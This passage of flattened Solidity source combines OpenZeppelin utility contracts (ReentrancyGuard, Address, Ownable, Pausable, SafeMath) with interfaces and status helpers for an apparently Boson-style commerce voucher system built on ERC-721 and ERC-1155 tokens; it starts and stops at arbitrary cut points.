// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol";
interface IVoucherSets is IERC1155, IERC1155MetadataURI {
/**
* @notice Pause the Cashier && the Voucher Kernel contracts in case of emergency.
* All functions related to creating new batch, requestVoucher or withdraw will be paused, hence cannot be executed.
* There is special function for withdrawing funds if contract is paused.
*/
function pause() external;
/**
* @notice Unpause the Cashier && the Voucher Kernel contracts.
* All functions related to creating new batch, requestVoucher or withdraw will be unpaused.
*/
function unpause() external;
/**
* @notice Mint an amount of a desired token
* Currently no restrictions as to who is allowed to mint - so, it is external.
* @dev ERC-1155
* @param _to owner of the minted token
* @param _tokenId ID of the token to be minted
* @param _value Amount of the token to be minted
* @param _data Additional data forwarded to onERC1155BatchReceived if _to is a contract
*/
function mint(
address _to,
uint256 _tokenId,
uint256 _value,
bytes calldata _data
) external;
/**
* @notice Burn an amount of tokens with the given ID
* @dev ERC-1155
* @param _account Account which owns the token
* @param _tokenId ID of the token
* @param _value Amount of the token
*/
function burn(
address _account,
uint256 _tokenId,
uint256 _value
) external;
/**
* @notice Set the address of the VoucherKernel contract
* @param _voucherKernelAddress The address of the Voucher Kernel contract
*/
function setVoucherKernelAddress(address _voucherKernelAddress) external;
/**
* @notice Set the address of the Cashier contract
* @param _cashierAddress The address of the Cashier contract
*/
function setCashierAddress(address _cashierAddress) external;
/**
* @notice Get the address of Voucher Kernel contract
* @return Address of Voucher Kernel contract
*/
function getVoucherKernelAddress() external view returns (address);
/**
* @notice Get the address of Cashier contract
* @return Address of Cashier address
*/
function getCashierAddress() external view returns (address);
}
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol";
interface IVouchers is IERC721, IERC721Metadata {
/**
* @notice Pause the Cashier && the Voucher Kernel contracts in case of emergency.
* All functions related to creating new batch, requestVoucher or withdraw will be paused, hence cannot be executed.
* There is special function for withdrawing funds if contract is paused.
*/
function pause() external;
/**
* @notice Unpause the Cashier && the Voucher Kernel contracts.
* All functions related to creating new batch, requestVoucher or withdraw will be unpaused.
*/
function unpause() external;
/**
* @notice Function to mint tokens.
* @dev ERC-721
* @param _to The address that will receive the minted tokens.
* @param _tokenId The token id to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _tokenId) external returns (bool);
/**
* @notice Set the address of the VoucherKernel contract
* @param _voucherKernelAddress The address of the Voucher Kernel contract
*/
function setVoucherKernelAddress(address _voucherKernelAddress) external;
/**
* @notice Set the address of the Cashier contract
* @param _cashierAddress The address of the Cashier contract
*/
function setCashierAddress(address _cashierAddress) external;
/**
* @notice Get the address of Voucher Kernel contract
* @return Address of Voucher Kernel contract
*/
function getVoucherKernelAddress() external view returns (address);
/**
* @notice Get the address of Cashier contract
* @return Address of Cashier address
*/
function getCashierAddress() external view returns (address);
}
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.7.6;
import "./../UsingHelpers.sol";
interface IVoucherKernel {
/**
* @notice Pause the process of interaction with voucherID's (ERC-721), in case of emergency.
* Only Cashier contract is in control of this function.
*/
function pause() external;
/**
* @notice Unpause the process of interaction with voucherID's (ERC-721).
* Only Cashier contract is in control of this function.
*/
function unpause() external;
/**
* @notice Creating a new promise for goods or services.
* Can be reused, e.g. for making different batches of these (but not in prototype).
* @param _seller seller of the promise
* @param _validFrom Start of valid period
* @param _validTo End of valid period
* @param _price Price (payment amount)
* @param _depositSe Seller's deposit
* @param _depositBu Buyer's deposit
*/
function createTokenSupplyId(
address _seller,
uint256 _validFrom,
uint256 _validTo,
uint256 _price,
uint256 _depositSe,
uint256 _depositBu,
uint256 _quantity
) external returns (uint256);
/**
* @notice Creates a Payment method struct recording the details on how the seller requires to receive Price and Deposits for a certain Voucher Set.
* @param _tokenIdSupply _tokenIdSupply of the voucher set this is related to
* @param _paymentMethod might be ETHETH, ETHTKN, TKNETH or TKNTKN
* @param _tokenPrice token address which will hold the funds for the price of the voucher
* @param _tokenDeposits token address which will hold the funds for the deposits of the voucher
*/
function createPaymentMethod(
uint256 _tokenIdSupply,
PaymentMethod _paymentMethod,
address _tokenPrice,
address _tokenDeposits
) external;
/**
* @notice Mark voucher token that the payment was released
* @param _tokenIdVoucher ID of the voucher token
*/
function setPaymentReleased(uint256 _tokenIdVoucher) external;
/**
* @notice Mark voucher token that the deposits were released
* @param _tokenIdVoucher ID of the voucher token
*/
function setDepositsReleased(uint256 _tokenIdVoucher) external;
/**
* @notice Redemption of the vouchers promise
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender owner of the voucher
*/
function redeem(uint256 _tokenIdVoucher, address _messageSender) external;
/**
* @notice Refunding a voucher
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender owner of the voucher
*/
function refund(uint256 _tokenIdVoucher, address _messageSender) external;
/**
* @notice Issue a complain for a voucher
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender owner of the voucher
*/
function complain(uint256 _tokenIdVoucher, address _messageSender) external;
/**
* @notice Cancel/Fault transaction by the Seller, admitting to a fault or backing out of the deal
* @param _tokenIdVoucher ID of the voucher
* @param _messageSender owner of the voucher set (seller)
*/
function cancelOrFault(uint256 _tokenIdVoucher, address _messageSender)
external;
/**
* @notice Cancel/Fault transaction by the Seller, cancelling the remaining uncommitted voucher set so that seller prevents buyers from committing to vouchers for items no longer in exchange.
* @param _tokenIdSupply ID of the voucher
* @param _issuer owner of the voucher
*/
function cancelOrFaultVoucherSet(uint256 _tokenIdSupply, address _issuer)
external
returns (uint256);
/**
* @notice Fill Voucher Order, iff funds paid, then extract & mint NFT to the voucher holder
* @param _tokenIdSupply ID of the supply token (ERC-1155)
* @param _issuer Address of the token's issuer
* @param _holder Address of the recipient of the voucher (ERC-721)
* @param _paymentMethod method being used for that particular order that needs to be fulfilled
*/
function fillOrder(
uint256 _tokenIdSupply,
address _issuer,
address _holder,
PaymentMethod _paymentMethod
) external;
/**
* @notice Mark voucher token as expired
* @param _tokenIdVoucher ID of the voucher token
*/
function triggerExpiration(uint256 _tokenIdVoucher) external;
/**
* @notice Mark voucher token to the final status
* @param _tokenIdVoucher ID of the voucher token
*/
function triggerFinalizeVoucher(uint256 _tokenIdVoucher) external;
/**
* @notice Set the address of the new holder of a _tokenIdSupply on transfer
* @param _tokenIdSupply _tokenIdSupply which will be transferred
* @param _newSeller new holder of the supply
*/
function setSupplyHolderOnTransfer(
uint256 _tokenIdSupply,
address _newSeller
) external;
/**
* @notice Set the general cancelOrFault period, should be used sparingly as it has significant consequences. Here done simply for demo purposes.
* @param _cancelFaultPeriod the new value for cancelOrFault period (in number of seconds)
*/
function setCancelFaultPeriod(uint256 _cancelFaultPeriod) external;
/**
* @notice Set the address of the Boson Router contract
* @param _bosonRouterAddress The address of the BR contract
*/
function setBosonRouterAddress(address _bosonRouterAddress) external;
/**
* @notice Set the address of the Cashier contract
* @param _cashierAddress The address of the Cashier contract
*/
function setCashierAddress(address _cashierAddress) external;
/**
* @notice Set the address of the Vouchers token contract, an ERC721 contract
* @param _voucherTokenAddress The address of the Vouchers token contract
*/
function setVoucherTokenAddress(address _voucherTokenAddress) external;
/**
* @notice Set the address of the Voucher Sets token contract, an ERC1155 contract
* @param _voucherSetTokenAddress The address of the Voucher Sets token contract
*/
function setVoucherSetTokenAddress(address _voucherSetTokenAddress)
external;
/**
* @notice Set the general complain period, should be used sparingly as it has significant consequences. Here done simply for demo purposes.
* @param _complainPeriod the new value for complain period (in number of seconds)
*/
function setComplainPeriod(uint256 _complainPeriod) external;
/**
* @notice Get the promise ID at specific index
* @param _idx Index in the array of promise keys
* @return Promise ID
*/
function getPromiseKey(uint256 _idx) external view returns (bytes32);
/**
* @notice Get the address of the token where the price for the supply is held
* @param _tokenIdSupply ID of the voucher token
* @return Address of the token
*/
function getVoucherPriceToken(uint256 _tokenIdSupply)
external
view
returns (address);
/**
* @notice Get the address of the token where the deposits for the supply are held
* @param _tokenIdSupply ID of the voucher token
* @return Address of the token
*/
function getVoucherDepositToken(uint256 _tokenIdSupply)
external
view
returns (address);
/**
* @notice Get Buyer costs required to make an order for a supply token
* @param _tokenIdSupply ID of the supply token
* @return returns a tuple (Payment amount, Buyer's deposit)
*/
function getBuyerOrderCosts(uint256 _tokenIdSupply)
external
view
returns (uint256, uint256);
/**
* @notice Get Seller deposit
* @param _tokenIdSupply ID of the supply token
* @return returns sellers deposit
*/
function getSellerDeposit(uint256 _tokenIdSupply)
external
view
returns (uint256);
/**
* @notice Get the promise ID from a voucher token
* @param _tokenIdVoucher ID of the voucher token
* @return ID of the promise
*/
function getIdSupplyFromVoucher(uint256 _tokenIdVoucher)
external
pure
returns (uint256);
/**
* @notice Get the promise ID from a voucher token
* @param _tokenIdVoucher ID of the voucher token
* @return ID of the promise
*/
function getPromiseIdFromVoucherId(uint256 _tokenIdVoucher)
external
view
returns (bytes32);
/**
* @notice Get all necessary funds for a supply token
* @param _tokenIdSupply ID of the supply token
* @return returns a tuple (Payment amount, Seller's deposit, Buyer's deposit)
*/
function getOrderCosts(uint256 _tokenIdSupply)
external
view
returns (
uint256,
uint256,
uint256
);
/**
* @notice Get the remaining quantity left in supply of tokens (e.g ERC-721 left in ERC-1155) of an account
* @param _tokenSupplyId Token supply ID
* @param _owner holder of the Token Supply
* @return remaining quantity
*/
function getRemQtyForSupply(uint256 _tokenSupplyId, address _owner)
external
view
returns (uint256);
/**
* @notice Get the payment method for a particular _tokenIdSupply
* @param _tokenIdSupply ID of the voucher supply token
* @return payment method
*/
function getVoucherPaymentMethod(uint256 _tokenIdSupply)
external
view
returns (PaymentMethod);
/**
* @notice Get the current status of a voucher
* @param _tokenIdVoucher ID of the voucher token
* @return Status of the voucher (via enum)
*/
function getVoucherStatus(uint256 _tokenIdVoucher)
external
view
returns (
uint8,
bool,
bool,
uint256,
uint256
);
/**
* @notice Get the holder of a supply
* @param _tokenIdSupply _tokenIdSupply ID of the order (aka VoucherSet) which is mapped to the corresponding Promise.
* @return Address of the holder
*/
function getSupplyHolder(uint256 _tokenIdSupply)
external
view
returns (address);
/**
* @notice Get the holder of a voucher
* @param _tokenIdVoucher ID of the voucher token
* @return Address of the holder
*/
function getVoucherHolder(uint256 _tokenIdVoucher)
external
view
returns (address);
/**
* @notice Checks whether a voucher is in valid period for redemption (between start date and end date)
* @param _tokenIdVoucher ID of the voucher token
*/
function isInValidityPeriod(uint256 _tokenIdVoucher)
external
view
returns (bool);
/**
* @notice Checks whether a voucher is in valid state to be transferred. If either payments or deposits are released, voucher could not be transferred
* @param _tokenIdVoucher ID of the voucher token
*/
function isVoucherTransferable(uint256 _tokenIdVoucher)
external
view
returns (bool);
/**
* @notice Get address of the Boson Router contract to which this contract points
* @return Address of the Boson Router contract
*/
function getBosonRouterAddress() external view returns (address);
/**
* @notice Get address of the Cashier contract to which this contract points
* @return Address of the Cashier contract
*/
function getCashierAddress() external view returns (address);
/**
* @notice Get the token nonce for a seller
* @param _seller Address of the seller
* @return The seller's
*/
function getTokenNonce(address _seller) external view returns (uint256);
/**
* @notice Get the current type Id
* @return type Id
*/
function getTypeId() external view returns (uint256);
/**
* @notice Get the complain period
* @return complain period
*/
function getComplainPeriod() external view returns (uint256);
/**
* @notice Get the cancel or fault period
* @return cancel or fault period
*/
function getCancelFaultPeriod() external view returns (uint256);
/**
* @notice Get promise data not retrieved by other accessor functions
* @param _promiseKey ID of the promise
* @return promise data not returned by other accessor methods
*/
function getPromiseData(bytes32 _promiseKey)
external
view
returns (
bytes32,
uint256,
uint256,
uint256,
uint256
);
/**
* @notice Get the promise ID from a voucher set
* @param _tokenIdSupply ID of the voucher token
* @return ID of the promise
*/
function getPromiseIdFromSupplyId(uint256 _tokenIdSupply)
external
view
returns (bytes32);
/**
* @notice Get the address of the Vouchers token contract, an ERC721 contract
* @return Address of Vouchers contract
*/
function getVoucherTokenAddress() external view returns (address);
/**
* @notice Get the address of the VoucherSets token contract, an ERC155 contract
* @return Address of VoucherSets contract
*/
function getVoucherSetTokenAddress() external view returns (address);
}
// SPDX-License-Identifier: LGPL-3.0-or-later
pragma solidity 0.7.6;
// Those are the payment methods we are using throughout the system.
// Depending on how to user choose to interact with it's funds we store the method, so we could distribute its tokens afterwise
enum PaymentMethod {
ETHETH,
ETHTKN,
TKNETH,
TKNTKN
}
enum VoucherState {FINAL, CANCEL_FAULT, COMPLAIN, EXPIRE, REFUND, REDEEM, COMMIT}
/* Status of the voucher in 8 bits:
[6:COMMITTED] [5:REDEEMED] [4:REFUNDED] [3:EXPIRED] [2:COMPLAINED] [1:CANCELORFAULT] [0:FINAL]
*/
uint8 constant ONE = 1;
struct VoucherDetails {
uint256 tokenIdSupply;
uint256 tokenIdVoucher;
address issuer;
address holder;
uint256 price;
uint256 depositSe;
uint256 depositBu;
uint256 price2pool;
uint256 deposit2pool;
uint256 price2issuer;
uint256 deposit2issuer;
uint256 price2holder;
uint256 deposit2holder;
PaymentMethod paymentMethod;
VoucherStatus currStatus;
}
struct VoucherStatus {
uint8 status;
bool isPaymentReleased;
bool isDepositsReleased;
uint256 complainPeriodStart;
uint256 cancelFaultPeriodStart;
}
/**
* @notice Based on its lifecycle, voucher can have many different statuses. Checks whether a voucher is in Committed state.
* @param _status current status of a voucher.
*/
function isStateCommitted(uint8 _status) pure returns (bool) {
return _status == determineStatus(0, VoucherState.COMMIT);
}
/**
* @notice Based on its lifecycle, voucher can have many different statuses. Checks whether a voucher is in RedemptionSigned state.
* @param _status current status of a voucher.
*/
function isStateRedemptionSigned(uint8 _status)
pure
returns (bool)
{
return _status == determineStatus(determineStatus(0, VoucherState.COMMIT), VoucherState.REDEEM);
}
/**
* @notice Based on its lifecycle, voucher can have many different statuses. Checks whether a voucher is in Refunded state.
* @param _status current status of a voucher.
*/
function isStateRefunded(uint8 _status) pure returns (bool) {
return _status == determineStatus(determineStatus(0, VoucherState.COMMIT), VoucherState.REFUND);
}
/**
* @notice Based on its lifecycle, voucher can have many different statuses. Checks whether a voucher is in Expired state.
* @param _status current status of a voucher.
*/
function isStateExpired(uint8 _status) pure returns (bool) {
return _status == determineStatus(determineStatus(0, VoucherState.COMMIT), VoucherState.EXPIRE);
}
/**
* @notice Based on its lifecycle, voucher can have many different statuses. Checks the current status a voucher is at.
* @param _status current status of a voucher.
* @param _idx status to compare.
*/
function isStatus(uint8 _status, VoucherState _idx) pure returns (bool) {
return (_status >> uint8(_idx)) & ONE == 1;
}
/**
* @notice Set voucher status.
* @param _status previous status.
* @param _changeIdx next status.
*/
function determineStatus(uint8 _status, VoucherState _changeIdx)
pure
returns (uint8)
{
return _status | (ONE << uint8(_changeIdx));
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
